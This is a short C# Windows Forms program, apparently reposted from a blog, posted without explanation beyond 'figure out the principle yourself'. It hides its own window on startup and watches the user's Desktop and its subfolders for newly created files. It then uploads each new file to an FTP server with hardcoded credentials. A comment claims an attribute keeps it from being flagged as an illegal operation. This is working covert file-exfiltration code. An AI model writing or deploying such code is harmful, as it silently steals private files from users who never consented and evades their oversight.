using System;
using System.Windows.Forms;
using System.IO;
using System.Reflection;
using System.Security.Permissions;
namespace sync
{
public partial class Form1 : Form
{
private static string hostIP = @"ftp://127.0.0.1";
private static string port = "21";
private static string userName = "test";
private static string password = "test";
//在程序之中加入下面的代码,能有效地避免程序被误认为是非法操作
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
private static void WatcherStrat(string path, string filter)
{
if (!Directory.Exists(path)){
//MessageBox.Show("找不到路径:" + path);
Application.Exit();
return;
}
FileSystemWatcher watcher = new FileSystemWatcher();
watcher.IncludeSubdirectories = true;
watcher.Path = path;
watcher.Filter = filter;
watcher.Created += new FileSystemEventHandler(OnProcess);
watcher.EnableRaisingEvents = true;
}
private static void OnProcess(object source, FileSystemEventArgs e)
{
//只监视创建文件的情况
if (e.ChangeType == WatcherChangeTypes.Created){
OnCreated(source, e);
}
}
private static void OnCreated(object source, FileSystemEventArgs e)
{
string filePath = e.FullPath;
//等待5秒钟,文件复制完毕
System.Threading.Thread.Sleep(5 * 1000); //单位为毫秒
//判断路径是文件夹还是文件
if (Directory.Exists(filePath)){
//文件夹
return;//暂时不做处理
}
else if (File.Exists(filePath)){
//文件
//MessageBox.Show(filePath);
UploadFile(filePath);//将文件上传至FTP
}
else{
return;//暂时不做处理
}
}
//将文件上传至FTP
private static void UploadFile(string filePath)
{
string remoteFile = "";
string localFile = filePath;
string localFileExt = Path.GetExtension(localFile);//扩展名
remoteFile = DateTime.Now.ToString("yyyyMMdd_hhmmss") + localFileExt;
FTPOperation ftp = new FTPOperation(hostIP, port, userName, password);
ftp.upload(remoteFile,localFile);
}
private void run()
{
string dir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
WatcherStrat(dir, "*.*");//监视所有文件
}
public Form1()
{
InitializeComponent();
this.StartPosition = FormStartPosition.CenterScreen;
}
private void Form1_Load(object sender, EventArgs e)
{
run();
}
protected override void OnShown(EventArgs e)
{
base.OnShown(e);//隐藏程序
this.Visible = false;
}
private void button1_Click(object sender, EventArgs e)
{
this.Hide();//隐藏程序
}
}
}
一个C#程序,原理自己研究吧^_^
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转载自blog.csdn.net/wxcmdn/article/details/85196713
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